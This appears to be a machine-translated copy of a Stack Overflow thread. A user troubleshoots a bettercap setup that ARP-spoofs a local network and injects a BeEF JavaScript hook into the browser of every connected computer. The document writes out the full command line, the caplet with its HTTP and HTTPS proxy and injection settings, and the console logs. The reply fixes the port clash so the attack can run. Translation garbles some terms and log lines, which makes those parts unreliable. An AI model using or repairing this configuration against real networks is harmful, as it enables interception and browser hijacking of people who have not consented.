无论我尝试使用哪个端口,我都会得到错误:
侦听tcp 0.0.0.0:PORT_NUMBER:绑定:已在使用的地址
环境
使用的命令行代码:
sudo bettercap -eval "set net.probe off; set arp.spoof.targets 0.0.0.0" -caplet beef-active.cap
牛肉-活性。帽:
set http.proxy.script beef-inject.js
set http.proxy.port 8011
set https.proxy.port 8011
http.proxy on
https.proxy on
sleep 1
arp.spoof on预期行为:
我试图将一些js注入到连接到我的路由器的每台计算机的浏览器中。我只看到一个消息,那就是牛肉注射成功了。
实际行为:实际发生了什么
当它击中我的IP地址时就停止了。这是输出:
13:26:41 inf http.proxy启动于0.0.0.0:8011 (单条禁用) 13:26:41 inf从/var/root/.bettercap-ca.key.pem加载代理证书颁发机构TLS密钥 13:26:41 inf从/var/root/.bettercap-ca.cert.pem加载代理证书颁发机构TLS证书 13:26:41 inf允许转发。 13:26:41 inf https.proxy启动于0.0.0.0:8011 (单条禁用) 13时26分41分侦听tcp 0.0.0.0:8011: bind: address已在使用
编辑:
将端口更改为不同,停止了错误,但是它仍然没有向浏览器注入任何内容。我一直在控制台里得到的是:
好的,所以我改变了,我不再得到这个错误,然而,它仍然没有注入任何JS到浏览器中。我只是不断地得到新的和失去的端点,如:
0.0.0.0/24 > 0.0.0.0 » [08:33:17] [endpoint.new] endpoint 0.0.0.0 detected as 04:18:d6:d0:69:e7 (Apple, Inc.).
0.0.0.0/24 > 0.0.0.0 » [08:33:23] [endpoint.lost] endpoint 0.0.0.0 (Apple, Inc.) lost.……然后,它继续通过相同的信息,新的>丢失的>新的>丢失的。
有什么想法吗?
发布于 2019-01-15 17:53:18
set http.proxy.port 8011
set https.proxy.port 8011这些端口被设置为相同的东西,这意味着它们都试图监听8011,并且正在互相践踏。
将其中一个更改为不同的端口,错误就会消失。
干杯!
https://stackoverflow.com/questions/54200383
复制相似问题